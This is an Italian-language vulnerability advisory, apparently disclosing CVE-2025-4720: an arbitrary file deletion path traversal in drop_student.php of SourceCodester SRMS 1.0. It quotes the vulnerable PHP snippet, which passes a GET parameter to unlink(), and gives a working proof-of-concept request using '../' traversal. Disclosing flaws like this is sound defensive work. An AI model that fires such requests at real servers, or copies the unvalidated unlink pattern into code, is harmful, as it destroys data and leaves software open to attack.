cve-srms-drop-student-path-traversal (CVE-2025-4720)(dupe)

Eliminazione arbitraria di file in SourceCodester SRMS 1.0

Descrizione

Esiste una vulnerabilità di path traversal nell'endpoint drop_student.php di SourceCodester Student Result Management System (SRMS) 1.0.

L'applicazione prende l'input controllato dall'utente dal parametro GET img e lo passa direttamente alla funzione unlink() senza validazione, consentendo l'eliminazione di file arbitrari sul server.

---

Codice Vulnerabile

$img = $_GET['img'];

if ($img == "DEFAULT") {

} else {
    unlink('images/students/' . $img);
}

---

Tipo di Vulnerabilità

• CWE-22: Path Traversal
• Impatto: Eliminazione arbitraria di file

---

Proof of Concept (PoC)

1. Creare un file nella root dell'applicazione:

C:\xampp\htdocs\srms_0\srms\new_test.txt

2. Inviare la seguente richiesta:

GET /srms_0/srms/script/admin/core/drop_student.php?id=1&img=../../new_test.txt HTTP/1.1
Host: target

3. Osservare che il file viene eliminato dal server.

---

Impatto

Un attaccante può eliminare file arbitrari accessibili al server web, inclusi:

• File di configurazione dell'applicazione
• Log
• Contenuto caricato

Ciò può portare a denial of service o ulteriore sfruttamento.

---

Note Aggiuntive

Questa vulnerabilità rappresenta un vettore di attacco distinto rispetto ai problemi precedentemente segnalati in SRMS, poiché:

• Utilizza una richiesta GET
• Non richiede il caricamento di file
• Può potenzialmente essere sfruttata tramite CSRF

---

Fornitore

SourceCodester

---

Prodotto

Student Result Management System (SRMS) https://www.sourcecodester.com/srms-makumbusho

---

Versione

1.0

---

Autore

Imad Alvi